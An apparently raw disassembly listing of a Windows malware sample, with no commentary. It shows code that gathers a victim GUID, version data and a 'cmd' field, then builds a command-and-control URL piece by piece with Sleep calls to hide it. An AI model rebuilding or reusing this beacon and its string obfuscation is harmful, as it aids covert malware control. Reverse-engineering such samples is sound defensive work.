var_28B4	= dword	ptr -28B4h
var_28B0	= dword	ptr -28B0h
var_28AC	= dword	ptr -28ACh
var_28A8	= dword	ptr -28A8h
var_28A4	= dword	ptr -28A4h
var_28A0	= dword	ptr -28A0h
var_289C	= dword	ptr -289Ch
var_2898	= dword	ptr -2898h
var_2894	= dword	ptr -2894h
var_2890	= dword	ptr -2890h
var_288C	= dword	ptr -288Ch
var_2888	= dword	ptr -2888h
var_2884	= dword	ptr -2884h
var_2880	= dword	ptr -2880h
var_287C	= dword	ptr -287Ch
var_2878	= dword	ptr -2878h
var_2874	= dword	ptr -2874h
var_2870	= dword	ptr -2870h
var_286C	= dword	ptr -286Ch
var_2868	= dword	ptr -2868h
var_2864	= dword	ptr -2864h
var_2860	= dword	ptr -2860h
var_285C	= dword	ptr -285Ch
var_2858	= dword	ptr -2858h
var_2854	= dword	ptr -2854h
var_2850	= dword	ptr -2850h
var_284C	= dword	ptr -284Ch
var_2848	= dword	ptr -2848h
var_2844	= dword	ptr -2844h
var_2840	= dword	ptr -2840h
var_283C	= dword	ptr -283Ch
var_2838	= dword	ptr -2838h
var_2834	= dword	ptr -2834h
var_2830	= dword	ptr -2830h
var_282C	= dword	ptr -282Ch
var_2828	= dword	ptr -2828h
var_2824	= dword	ptr -2824h
var_2820	= dword	ptr -2820h
var_281C	= dword	ptr -281Ch
var_2818	= byte ptr -2818h
var_2814	= dword	ptr -2814h
var_2810	= dword	ptr -2810h
var_280C	= dword	ptr -280Ch
var_2808	= byte ptr -2808h
var_2804	= dword	ptr -2804h
var_2800	= byte ptr -2800h
var_27FC	= byte ptr -27FCh
var_27F8	= byte ptr -27F8h
var_27F4	= byte ptr -27F4h
var_27F0	= byte ptr -27F0h
var_27EC	= byte ptr -27ECh
var_27E8	= byte ptr -27E8h
var_27E4	= byte ptr -27E4h
var_27E0	= byte ptr -27E0h
var_27DC	= byte ptr -27DCh
var_27D8	= byte ptr -27D8h
var_27D4	= byte ptr -27D4h
var_27D0	= byte ptr -27D0h
var_27CC	= byte ptr -27CCh
var_27C8	= byte ptr -27C8h
var_27C4	= dword	ptr -27C4h
var_27C0	= byte ptr -27C0h
var_27BC	= byte ptr -27BCh
var_27B8	= dword	ptr -27B8h
var_27B4	= dword	ptr -27B4h
var_27B0	= byte ptr -27B0h
var_27AC	= byte ptr -27ACh
var_279C	= byte ptr -279Ch
var_1F9C	= byte ptr -1F9Ch
var_1F98	= dword	ptr -1F98h
var_1F94	= dword	ptr -1F94h
var_1F90	= byte ptr -1F90h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_42852F
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		mov	eax, 28D0h
		call	sub_431860
		mov	[ebp+var_282C],	ecx
		mov	[ebp+var_1F98],	0
		mov	[ebp+var_38], 1
		lea	ecx, [ebp+var_1C]
		call	sub_4298D0
		mov	[ebp+var_4], 0
		lea	ecx, [ebp+var_18]
		call	sub_4317AE
		mov	byte ptr [ebp+var_4], 1
		lea	ecx, [ebp+var_24]
		call	sub_4317AE
		mov	byte ptr [ebp+var_4], 2
		mov	[ebp+var_1F94],	0
		lea	ecx, [ebp+var_14]
		call	sub_4317AE
		mov	byte ptr [ebp+var_4], 3
		mov	[ebp+var_20], 0
		mov	eax, [ebp+var_282C]
		mov	ecx, [eax]
		push	ecx
		push	offset aD_0	; "%d"
		lea	edx, [ebp+var_48]
		push	edx
		call	dword_4331E4	; sprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_48]
		push	eax
		push	offset asc_437578 ; "&x="
		lea	ecx, [ebp+var_27BC]
		push	ecx
		mov	ecx, [ebp+var_282C]
		add	ecx, 8
		call	sub_425896
		mov	[ebp+var_2830],	eax
		mov	edx, [ebp+var_2830]
		mov	[ebp+var_2834],	edx
		mov	byte ptr [ebp+var_4], 4
		mov	eax, [ebp+var_2834]
		push	eax
		push	offset aI_0	; "&i="
		lea	ecx, [ebp+var_27C0]
		push	ecx
		mov	ecx, [ebp+var_282C]
		add	ecx, 8
		call	sub_42578F
		mov	[ebp+var_2838],	eax
		mov	edx, [ebp+var_2838]
		mov	[ebp+var_283C],	edx
		mov	byte ptr [ebp+var_4], 5
		mov	eax, [ebp+var_283C]
		push	eax
		push	offset aP_1	; "&p="
		push	offset dword_43BD40
		push	offset aCmd_0	; "&cmd="
		mov	ecx, [ebp+var_282C]
		add	ecx, 10h
		push	ecx
		mov	edx, esp
		mov	[ebp+var_27C4],	esp
		push	ecx
		mov	ecx, edx
		call	sub_431796
		mov	[ebp+var_2840],	eax
		lea	eax, [ebp+var_27C8]
		push	eax
		mov	ecx, [ebp+var_282C]
		add	ecx, 8
		call	sub_422FB0
		mov	[ebp+var_2844],	eax
		mov	ecx, [ebp+var_2844]
		mov	[ebp+var_2848],	ecx
		mov	byte ptr [ebp+var_4], 6
		mov	edx, [ebp+var_2848]
		push	edx
		push	offset aGuid	; "&GUID="
		lea	eax, [ebp+var_27CC]
		push	eax
		mov	ecx, [ebp+var_282C]
		add	ecx, 8
		call	sub_42552A
		mov	[ebp+var_284C],	eax
		mov	ecx, [ebp+var_284C]
		mov	[ebp+var_2850],	ecx
		mov	byte ptr [ebp+var_4], 7
		mov	edx, [ebp+var_2850]
		push	edx
		push	offset aConfigversion ;	"&configversion="
		mov	eax, [ebp+var_282C]
		add	eax, 1Ch
		push	eax
		push	offset aVersion	; "&version="
		lea	ecx, [ebp+var_27D0]
		push	ecx
		call	sub_4317DE
		mov	[ebp+var_2854],	eax
		mov	edx, [ebp+var_2854]
		mov	[ebp+var_2858],	edx
		mov	byte ptr [ebp+var_4], 8
		mov	eax, [ebp+var_2858]
		push	eax
		lea	ecx, [ebp+var_27D4]
		push	ecx
		call	sub_4317BA
		mov	[ebp+var_285C],	eax
		mov	edx, [ebp+var_285C]
		mov	[ebp+var_2860],	edx
		mov	byte ptr [ebp+var_4], 9
		mov	eax, [ebp+var_2860]
		push	eax
		lea	ecx, [ebp+var_27D8]
		push	ecx
		call	sub_4317B4
		mov	[ebp+var_2864],	eax
		mov	edx, [ebp+var_2864]
		mov	[ebp+var_2868],	edx
		mov	byte ptr [ebp+var_4], 0Ah
		mov	eax, [ebp+var_2868]
		push	eax
		lea	ecx, [ebp+var_27DC]
		push	ecx
		call	sub_4317BA
		mov	[ebp+var_286C],	eax
		mov	edx, [ebp+var_286C]
		mov	[ebp+var_2870],	edx
		mov	byte ptr [ebp+var_4], 0Bh
		mov	eax, [ebp+var_2870]
		push	eax
		lea	ecx, [ebp+var_27E0]
		push	ecx
		call	sub_4317B4
		mov	[ebp+var_2874],	eax
		mov	edx, [ebp+var_2874]
		mov	[ebp+var_2878],	edx
		mov	byte ptr [ebp+var_4], 0Ch
		mov	eax, [ebp+var_2878]
		push	eax
		lea	ecx, [ebp+var_27E4]
		push	ecx
		call	sub_4317BA
		mov	[ebp+var_287C],	eax
		mov	edx, [ebp+var_287C]
		mov	[ebp+var_2880],	edx
		mov	byte ptr [ebp+var_4], 0Dh
		mov	eax, [ebp+var_2880]
		push	eax
		lea	ecx, [ebp+var_27E8]
		push	ecx
		call	sub_4317B4
		mov	[ebp+var_2884],	eax
		mov	edx, [ebp+var_2884]
		mov	[ebp+var_2888],	edx
		mov	byte ptr [ebp+var_4], 0Eh
		mov	eax, [ebp+var_2888]
		push	eax
		lea	ecx, [ebp+var_27EC]
		push	ecx
		call	sub_4317BA
		mov	[ebp+var_288C],	eax
		mov	edx, [ebp+var_288C]
		mov	[ebp+var_2890],	edx
		mov	byte ptr [ebp+var_4], 0Fh
		mov	eax, [ebp+var_2890]
		push	eax
		lea	ecx, [ebp+var_27F0]
		push	ecx
		call	sub_4317B4
		mov	[ebp+var_2894],	eax
		mov	edx, [ebp+var_2894]
		mov	[ebp+var_2898],	edx
		mov	byte ptr [ebp+var_4], 10h
		mov	eax, [ebp+var_2898]
		push	eax
		lea	ecx, [ebp+var_27F4]
		push	ecx
		call	sub_4317BA
		mov	[ebp+var_289C],	eax
		mov	edx, [ebp+var_289C]
		mov	[ebp+var_28A0],	edx
		mov	byte ptr [ebp+var_4], 11h
		mov	eax, [ebp+var_28A0]
		push	eax
		lea	ecx, [ebp+var_27F8]
		push	ecx
		call	sub_4317B4
		mov	[ebp+var_28A4],	eax
		mov	edx, [ebp+var_28A4]
		mov	[ebp+var_28A8],	edx
		mov	byte ptr [ebp+var_4], 12h
		mov	eax, [ebp+var_28A8]
		push	eax
		lea	ecx, [ebp+var_27FC]
		push	ecx
		call	sub_4317BA
		mov	[ebp+var_28AC],	eax
		mov	edx, [ebp+var_28AC]
		mov	[ebp+var_28B0],	edx
		mov	byte ptr [ebp+var_4], 13h
		mov	eax, [ebp+var_28B0]
		push	eax
		lea	ecx, [ebp+var_2800]
		push	ecx
		call	sub_4317BA
		mov	[ebp+var_28B4],	eax
		mov	edx, [ebp+var_28B4]
		mov	[ebp+var_28B8],	edx
		mov	byte ptr [ebp+var_4], 14h
		mov	eax, [ebp+var_28B8]
		push	eax
		lea	ecx, [ebp+var_14]
		call	sub_4317A8
		mov	byte ptr [ebp+var_4], 13h
		lea	ecx, [ebp+var_2800]
		call	sub_4317A2
		mov	byte ptr [ebp+var_4], 12h
		lea	ecx, [ebp+var_27FC]
		call	sub_4317A2
		mov	byte ptr [ebp+var_4], 11h
		lea	ecx, [ebp+var_27F8]
		call	sub_4317A2
		mov	byte ptr [ebp+var_4], 10h
		lea	ecx, [ebp+var_27F4]
		call	sub_4317A2
		mov	byte ptr [ebp+var_4], 0Fh
		lea	ecx, [ebp+var_27F0]
		call	sub_4317A2
		mov	byte ptr [ebp+var_4], 0Eh
		lea	ecx, [ebp+var_27EC]
		call	sub_4317A2
		mov	byte ptr [ebp+var_4], 0Dh
		lea	ecx, [ebp+var_27E8]
		call	sub_4317A2
		mov	byte ptr [ebp+var_4], 0Ch
		lea	ecx, [ebp+var_27E4]
		call	sub_4317A2
		mov	byte ptr [ebp+var_4], 0Bh
		lea	ecx, [ebp+var_27E0]
		call	sub_4317A2
		mov	byte ptr [ebp+var_4], 0Ah
		lea	ecx, [ebp+var_27DC]
		call	sub_4317A2
		mov	byte ptr [ebp+var_4], 9
		lea	ecx, [ebp+var_27D8]
		call	sub_4317A2
		mov	byte ptr [ebp+var_4], 8
		lea	ecx, [ebp+var_27D4]
		call	sub_4317A2
		mov	byte ptr [ebp+var_4], 7
		lea	ecx, [ebp+var_27D0]
		call	sub_4317A2
		mov	byte ptr [ebp+var_4], 6
		lea	ecx, [ebp+var_27CC]
		call	sub_4317A2
		mov	byte ptr [ebp+var_4], 5
		lea	ecx, [ebp+var_27C8]
		call	sub_4317A2
		mov	byte ptr [ebp+var_4], 4
		lea	ecx, [ebp+var_27C0]
		call	sub_4317A2
		mov	byte ptr [ebp+var_4], 3
		lea	ecx, [ebp+var_27BC]
		call	sub_4317A2
		push	offset aHtt	; "htt"
		lea	ecx, [ebp+var_279C]
		push	ecx
		call	dword_4330CC	; lstrcpyA
		push	24h
		call	dword_4330E0	; Sleep
		push	offset aP	; "p://"
		lea	edx, [ebp+var_279C]
		push	edx
		call	dword_433074	; lstrcatA
		push	22h
		call	dword_4330E0	; Sleep
		push	offset aWr_mc	; "wr.mc"
		lea	eax, [ebp+var_279C]
		push	eax
		call	dword_433074	; lstrcatA
		push	22h
		call	dword_4330E0	; Sleep
		push	offset aBo	; "bo"
		lea	ecx, [ebp+var_279C]
		push	ecx
		call	dword_433074	; lstrcatA
		push	24h
		call	dword_4330E0	; Sleep
		push	offset aO	; "o"
		lea	edx, [ebp+var_279C]
		push	edx
		call	dword_433074	; lstrcatA
		push	27h
		call	dword_4330E0	; Sleep
		push	offset a_co	; ".co"
		lea	eax, [ebp+var_279C]
		push	eax
		call	dword_433074	; lstrcatA
		push	22h
		call	dword_4330E0	; Sleep
		push	offset aMR	; "m/r"
		lea	ecx, [ebp+var_279C]
		push	ecx
		call	dword_433074	; lstrcatA
		push	21h
		call	dword_4330E0	; Sleep
		push	offset aEta	; "eta"
		lea	edx, [ebp+var_279C]
		push	edx
		call	dword_433074	; lstrcatA
		push	22h
		call	dword_4330E0	; Sleep
		push	offset aDpu_	; "dpu."
		lea	eax, [ebp+var_279C]
		push	eax
		call	dword_433074	; lstrcatA
		push	21h
		call	dword_4330E0	; Sleep
		push	offset aPh	; "ph"
		lea	ecx, [ebp+var_279C]
		push	ecx
		call	dword_433074	; lstrcatA
		push	20h
		call	dword_4330E0	; Sleep
		push	offset aP?	; "p?"
		lea	edx, [ebp+var_279C]
		push	edx
		call	dword_433074	; lstrcatA
		push	22h
		call	dword_4330E0	; Sleep
		lea	ecx, [ebp+var_14]
		call	sub_4226A0
		push	eax
		lea	eax, [ebp+var_279C]
		push	eax
		call	dword_433074	; lstrcatA
		lea	ecx, [ebp+var_20]
		push	ecx
		lea	edx, [ebp+var_279C]
		push	edx
		mov	ecx, [ebp+var_282C]
		add	ecx, 8
		call	sub_422F1F
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 64h
		jnb	short loc_428B9C
		mov	[ebp+var_2804],	0
		mov	byte ptr [ebp+var_4], 2
		lea	ecx, [ebp+var_14]
		call	sub_4317A2
		mov	byte ptr [ebp+var_4], 1
		lea	ecx, [ebp+var_24]
		call	sub_4317A2
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_18]
		call	sub_4317A2
		mov	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+var_1C]
		call	sub_4241A6
		mov	eax, [ebp+var_2804]
		jmp	loc_42902B
; ---------------------------------------------------------------------------


loc_428B9C:				; CODE XREF: sub_42852F+623j
		mov	eax, [ebp+var_10]
		add	eax, 1
		push	eax
		mov	ecx, [ebp+var_20]
		push	ecx
		lea	edx, [ebp+var_1F90]
		push	edx
		call	dword_4330C8	; lstrcpynA
		push	1Dh
		call	dword_4330E0	; Sleep
		mov	eax, [ebp+var_10]
		mov	[ebp+eax+var_1F90], 0
		mov	ecx, [ebp+var_10]
		push	ecx
		mov	edx, [ebp+var_20]
		push	edx
		lea	eax, [ebp+var_2808]
		push	eax
		mov	ecx, [ebp+var_282C]
		add	ecx, 8
		call	sub_4230F8
		mov	[ebp+var_28BC],	eax
		mov	ecx, [ebp+var_28BC]
		mov	[ebp+var_28C0],	ecx
		mov	byte ptr [ebp+var_4], 15h
		mov	ecx, [ebp+var_28C0]
		call	sub_4226A0
		push	eax
		lea	edx, [ebp+var_1F90]
		push	edx
		call	dword_4330CC	; lstrcpyA
		mov	byte ptr [ebp+var_4], 3
		lea	ecx, [ebp+var_2808]
		call	sub_4317A2
		lea	eax, [ebp+var_1F90]
		push	eax
		lea	ecx, [ebp+var_1C]
		call	sub_429920
		push	1Dh
		call	dword_4330E0	; Sleep
		lea	ecx, [ebp+var_1C]
		call	sub_4299D0
		cmp	eax, 64h
		jnb	short loc_428C9D
		lea	ecx, [ebp+var_1C]
		call	sub_4299A0
		push	eax
		call	dword_433274
		mov	[ebp+var_280C],	0FFFFFFFFh
		mov	byte ptr [ebp+var_4], 2
		lea	ecx, [ebp+var_14]
		call	sub_4317A2
		mov	byte ptr [ebp+var_4], 1
		lea	ecx, [ebp+var_24]
		call	sub_4317A2
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_18]
		call	sub_4317A2
		mov	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+var_1C]
		call	sub_4241A6
		mov	eax, [ebp+var_280C]
		jmp	loc_42902B
; ---------------------------------------------------------------------------


loc_428C9D:				; CODE XREF: sub_42852F+715j
		push	0
		lea	ecx, [ebp+var_1F9C]
		call	sub_429E30
		mov	byte ptr [ebp+var_4], 16h
		push	7
		push	0
		push	offset byte_4332B8
		lea	ecx, [ebp+var_1F9C]
		call	sub_429EB0
		mov	[ebp+var_50], eax
		cmp	[ebp+var_50], 0
		jge	short loc_428D40
		push	0
		push	0
		mov	ecx, [ebp+var_50]
		push	ecx
		lea	ecx, [ebp+var_27AC]
		call	sub_429C60
		mov	[ebp+var_2810],	0FFFFFFFEh
		lea	ecx, [ebp+var_27AC]
		call	sub_429CF0
		mov	byte ptr [ebp+var_4], 3
		lea	ecx, [ebp+var_1F9C]
		call	sub_429E60
		mov	byte ptr [ebp+var_4], 2
		lea	ecx, [ebp+var_14]
		call	sub_4317A2
		mov	byte ptr [ebp+var_4], 1
		lea	ecx, [ebp+var_24]
		call	sub_4317A2
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_18]
		call	sub_4317A2
		mov	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+var_1C]
		call	sub_4241A6
		mov	eax, [ebp+var_2810]
		jmp	loc_42902B
; ---------------------------------------------------------------------------


loc_428D40:				; CODE XREF: sub_42852F+79Aj
		lea	ecx, [ebp+var_34]
		call	sub_429A80
		mov	byte ptr [ebp+var_4], 17h
		push	ecx
		mov	ecx, esp
		mov	[ebp+var_2814],	esp
		lea	edx, [ebp+var_1C]
		push	edx
		call	sub_4298F0
		mov	[ebp+var_28C4],	eax
		mov	eax, [ebp+var_28C4]
		mov	[ebp+var_28C8],	eax
		mov	byte ptr [ebp+var_4], 18h
		lea	ecx, [ebp+var_1F9C]
		call	sub_429E80
		mov	ecx, eax
		mov	byte ptr [ebp+var_4], 17h
		call	sub_429DA0
		mov	[ebp+var_28CA],	ax
		mov	cx, [ebp+var_28CA]
		push	ecx
		lea	ecx, [ebp+var_34]
		call	sub_429B30
		mov	[ebp+var_4C], 0FFFFFFFFh
		call	dword_433028	; RtlGetLastWin32Error
		mov	[ebp+var_4C], eax
		lea	ecx, [ebp+var_34]
		call	sub_429AA0
		and	eax, 0FFh
		cmp	eax, 1
		jnz	loc_428F4F
		lea	ecx, [ebp+var_27B0]
		call	sub_4298D0
		mov	byte ptr [ebp+var_4], 19h
		lea	edx, [ebp+var_2818]
		push	edx
		lea	ecx, [ebp+var_1F9C]
		call	sub_429E80
		mov	ecx, eax
		call	sub_429D40
		mov	[ebp+var_28D0],	eax
		mov	eax, [ebp+var_28D0]
		push	eax
		lea	ecx, [ebp+var_27B0]
		call	sub_429FC0
		lea	ecx, [ebp+var_2818]
		call	sub_4264D2
		push	ecx
		mov	ecx, esp
		mov	[ebp+var_281C],	esp
		lea	edx, [ebp+var_27B0]
		push	edx
		call	sub_429F60
		mov	[ebp+var_28D4],	eax
		mov	ecx, [ebp+var_282C]
		add	ecx, 8
		call	sub_424485
		mov	[ebp+var_28D8],	eax
		mov	eax, [ebp+var_28D8]
		mov	[ebp+var_1F98],	eax
		mov	ecx, [ebp+var_1F98]
		imul	ecx, 1400Ch
		mov	[ebp+var_27B4],	ecx
		cmp	[ebp+var_1F98],	0
		jnz	short loc_428E80
		mov	edx, [ebp+var_27B4]
		push	edx
		call	dword_4331C8	; malloc
		add	esp, 4
		mov	[ebp+var_27B8],	eax
		jmp	short loc_428E96
; ---------------------------------------------------------------------------


loc_428E80:				; CODE XREF: sub_42852F+937j
		mov	eax, [ebp+var_27B4]
		push	eax
		call	dword_4331C8	; malloc
		add	esp, 4
		mov	[ebp+var_27B8],	eax


loc_428E96:				; CODE XREF: sub_42852F+94Fj
		mov	ecx, [ebp+var_27B4]
		push	ecx
		push	0
		mov	edx, [ebp+var_27B8]
		push	edx
		call	sub_4318B2	; memset
		add	esp, 0Ch
		push	1Dh
		call	dword_4330E0	; Sleep
		mov	eax, [ebp+var_1F98]
		push	eax
		mov	ecx, [ebp+var_27B8]
		push	ecx
		mov	ecx, [ebp+var_282C]
		add	ecx, 8
		call	sub_4233A8
		push	1Ch
		call	dword_4330E0	; Sleep
		mov	edx, [ebp+var_27B8]
		push	edx
		push	ecx
		mov	ecx, esp
		mov	[ebp+var_2820],	esp
		lea	eax, [ebp+var_27B0]
		push	eax
		call	sub_429F60
		mov	[ebp+var_28DC],	eax
		mov	ecx, [ebp+var_282C]
		add	ecx, 8
		call	sub_423489
		push	1Bh
		call	dword_4330E0	; Sleep
		mov	ecx, [ebp+var_1F98]
		push	ecx
		mov	edx, [ebp+var_27B8]
		push	edx
		mov	ecx, [ebp+var_282C]
		add	ecx, 8
		call	sub_424606
		mov	eax, [ebp+var_27B8]
		push	eax
		call	dword_4331D4	; free
		add	esp, 4
		mov	byte ptr [ebp+var_4], 17h
		lea	ecx, [ebp+var_27B0]
		call	sub_4264D2
		jmp	short loc_428FBE
; ---------------------------------------------------------------------------


loc_428F4F:				; CODE XREF: sub_42852F+892j
		lea	ecx, [ebp+var_1C]
		call	sub_4299A0
		push	eax
		call	dword_433274
		mov	[ebp+var_2824],	0FFFFFFFDh
		mov	byte ptr [ebp+var_4], 16h
		lea	ecx, [ebp+var_34]
		call	sub_429C40
		mov	byte ptr [ebp+var_4], 3
		lea	ecx, [ebp+var_1F9C]
		call	sub_429E60
		mov	byte ptr [ebp+var_4], 2
		lea	ecx, [ebp+var_14]
		call	sub_4317A2
		mov	byte ptr [ebp+var_4], 1
		lea	ecx, [ebp+var_24]
		call	sub_4317A2
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_18]
		call	sub_4317A2
		mov	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+var_1C]
		call	sub_4241A6
		mov	eax, [ebp+var_2824]
		jmp	short loc_42902B
; ---------------------------------------------------------------------------


loc_428FBE:				; CODE XREF: sub_42852F+A1Ej
		lea	ecx, [ebp+var_1C]
		call	sub_4299A0
		push	eax
		call	dword_433274
		mov	[ebp+var_2828],	1
		mov	byte ptr [ebp+var_4], 16h
		lea	ecx, [ebp+var_34]
		call	sub_429C40
		mov	byte ptr [ebp+var_4], 3
		lea	ecx, [ebp+var_1F9C]
		call	sub_429E60
		mov	byte ptr [ebp+var_4], 2
		lea	ecx, [ebp+var_14]
		call	sub_4317A2
		mov	byte ptr [ebp+var_4], 1
		lea	ecx, [ebp+var_24]
		call	sub_4317A2
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_18]
		call	sub_4317A2
		mov	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+var_1C]
		call	sub_4241A6
		mov	eax, [ebp+var_2828]


loc_42902B:				; CODE XREF: sub_42852F+668j
					; sub_42852F+769j ...
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_42852F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429039	proc near		; CODE XREF: sub_42948F+B0p

var_807C	= dword	ptr -807Ch
var_8078	= dword	ptr -8078h
var_8074	= dword	ptr -8074h
var_8070	= dword	ptr -8070h
var_806C	= dword	ptr -806Ch
var_8068	= dword	ptr -8068h
var_8064	= dword	ptr -8064h
var_8060	= dword	ptr -8060h
var_805C	= dword	ptr -805Ch
var_8058	= dword	ptr -8058h
var_8054	= dword	ptr -8054h
var_8050	= dword	ptr -8050h
var_804C	= dword	ptr -804Ch
var_8048	= dword	ptr -8048h
var_8044	= dword	ptr -8044h
var_8040	= byte ptr -8040h
var_803C	= byte ptr -803Ch
var_8038	= byte ptr -8038h
var_8034	= byte ptr -8034h
var_8030	= byte ptr -8030h
var_802C	= byte ptr -802Ch
var_8028	= byte ptr -8028h
var_8024	= byte ptr -8024h
var_8020	= byte ptr -8020h
var_801C	= byte ptr -801Ch
var_8018	= dword	ptr -8018h
var_8014	= byte ptr -8014h
var_6014	= byte ptr -6014h
var_4014	= byte ptr -4014h
var_4010	= byte ptr -4010h
var_2010	= byte ptr -2010h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_429039
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		mov	eax, 8070h
		call	sub_431860
		mov	[ebp+var_8044],	ecx
		mov	[ebp+var_801C],	1
		lea	ecx, [ebp+var_4014]
		call	sub_4317AE
		mov	[ebp+var_4], 0
		push	offset dword_43BD40
		lea	ecx, [ebp+var_4014]
		call	sub_4317A8
		lea	ecx, [ebp+var_4014]
		call	sub_428280
		test	eax, eax
		jnz	short loc_4290E5
		lea	eax, [ebp+var_8024]
		push	eax
		mov	ecx, [ebp+var_8044]
		add	ecx, 8
		call	sub_425C67
		mov	[ebp+var_8048],	eax
		mov	ecx, [ebp+var_8048]
		mov	[ebp+var_804C],	ecx
		mov	byte ptr [ebp+var_4], 1
		mov	edx, [ebp+var_804C]
		push	edx
		lea	ecx, [ebp+var_4014]
		call	sub_4317A8
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_8024]
		call	sub_4317A2


loc_4290E5:				; CODE XREF: sub_429039+5Ej
		lea	ecx, [ebp+var_4014]
		call	sub_4226A0
		push	eax
		lea	eax, [ebp+var_6014]
		push	eax
		call	dword_4330CC	; lstrcpyA
		lea	ecx, [ebp+var_6014]
		push	ecx
		call	dword_4330B4	; lstrlenA
		push	eax
		lea	edx, [ebp+var_6014]
		push	edx
		lea	eax, [ebp+var_8028]
		push	eax
		mov	ecx, [ebp+var_8044]
		add	ecx, 8
		call	sub_4230F8
		mov	[ebp+var_8050],	eax
		mov	ecx, [ebp+var_8050]
		mov	[ebp+var_8054],	ecx
		mov	byte ptr [ebp+var_4], 2
		mov	edx, [ebp+var_8054]
		push	edx
		lea	ecx, [ebp+var_4014]
		call	sub_4317A8
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_8028]
		call	sub_4317A2
		lea	ecx, [ebp+var_4014]
		call	sub_4226A0
		push	eax
		lea	eax, [ebp+var_8014]
		push	eax
		call	dword_433298	; wsprintfA
		add	esp, 8
		movsx	ecx, [ebp+var_8014]
		cmp	ecx, 2Fh
		jnz	loc_429444
		push	0
		push	1
		lea	edx, [ebp+var_8014]
		push	edx
		lea	eax, [ebp+var_802C]
		push	eax
		lea	ecx, [ebp+var_8020]
		call	sub_421ACF
		mov	[ebp+var_8058],	eax
		mov	ecx, [ebp+var_8058]
		mov	[ebp+var_805C],	ecx
		mov	byte ptr [ebp+var_4], 3
		mov	ecx, [ebp+var_805C]
		call	sub_4226A0
		push	eax
		lea	edx, [ebp+var_8014]
		push	edx
		call	sub_4318B8	; strcpy
		add	esp, 8
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_802C]
		call	sub_4317A2


loc_4291E8:				; CODE XREF: sub_429039:loc_42943Fj
		push	2Fh
		lea	eax, [ebp+var_8014]
		push	eax
		lea	ecx, [ebp+var_8020]
		call	sub_421A20
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	loc_429444
		cmp	[ebp+var_10], 0FFFFFFFFh
		jnz	short loc_429225
		lea	ecx, [ebp+var_8014]
		push	ecx
		lea	edx, [ebp+var_4010]
		push	edx
		call	dword_4330CC	; lstrcpyA
		jmp	short loc_429282
; ---------------------------------------------------------------------------


loc_429225:				; CODE XREF: sub_429039+1D4j
		mov	eax, [ebp+var_10]
		push	eax
		push	0
		lea	ecx, [ebp+var_8014]
		push	ecx
		lea	edx, [ebp+var_8030]
		push	edx
		lea	ecx, [ebp+var_8020]
		call	sub_421ACF
		mov	[ebp+var_8060],	eax
		mov	eax, [ebp+var_8060]
		mov	[ebp+var_8064],	eax
		mov	byte ptr [ebp+var_4], 4
		mov	ecx, [ebp+var_8064]
		call	sub_4226A0
		push	eax
		lea	ecx, [ebp+var_4010]
		push	ecx
		call	dword_4330CC	; lstrcpyA
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_8030]
		call	sub_4317A2


loc_429282:				; CODE XREF: sub_429039+1EAj
		push	0
		mov	edx, [ebp+var_10]
		add	edx, 1
		push	edx
		lea	eax, [ebp+var_8014]
		push	eax
		lea	ecx, [ebp+var_8034]
		push	ecx
		lea	ecx, [ebp+var_8020]
		call	sub_421ACF
		mov	[ebp+var_8068],	eax
		mov	edx, [ebp+var_8068]
		mov	[ebp+var_806C],	edx
		mov	byte ptr [ebp+var_4], 5
		mov	ecx, [ebp+var_806C]
		call	sub_4226A0
		push	eax
		lea	eax, [ebp+var_8014]
		push	eax
		call	dword_4330CC	; lstrcpyA
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_8034]
		call	sub_4317A2
		push	3Ah
		lea	ecx, [ebp+var_4010]
		push	ecx
		lea	ecx, [ebp+var_8020]
		call	sub_421A20
		mov	[ebp+var_8018],	eax
		cmp	[ebp+var_8018],	0FFFFFFFFh
		jz	loc_4293CE
		mov	edx, [ebp+var_8018]
		push	edx
		push	0
		lea	eax, [ebp+var_4010]
		push	eax
		lea	ecx, [ebp+var_8038]
		push	ecx
		lea	ecx, [ebp+var_8020]
		call	sub_421ACF
		mov	[ebp+var_8070],	eax
		mov	edx, [ebp+var_8070]
		mov	[ebp+var_8074],	edx
		mov	byte ptr [ebp+var_4], 6
		mov	ecx, [ebp+var_8074]
		call	sub_4226A0
		push	eax
		lea	eax, [ebp+var_2010]
		push	eax
		call	dword_4330CC	; lstrcpyA
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_8038]
		call	sub_4317A2
		push	0
		mov	ecx, [ebp+var_8018]
		add	ecx, 1
		push	ecx
		lea	edx, [ebp+var_4010]
		push	edx
		lea	eax, [ebp+var_803C]
		push	eax
		lea	ecx, [ebp+var_8020]
		call	sub_421ACF
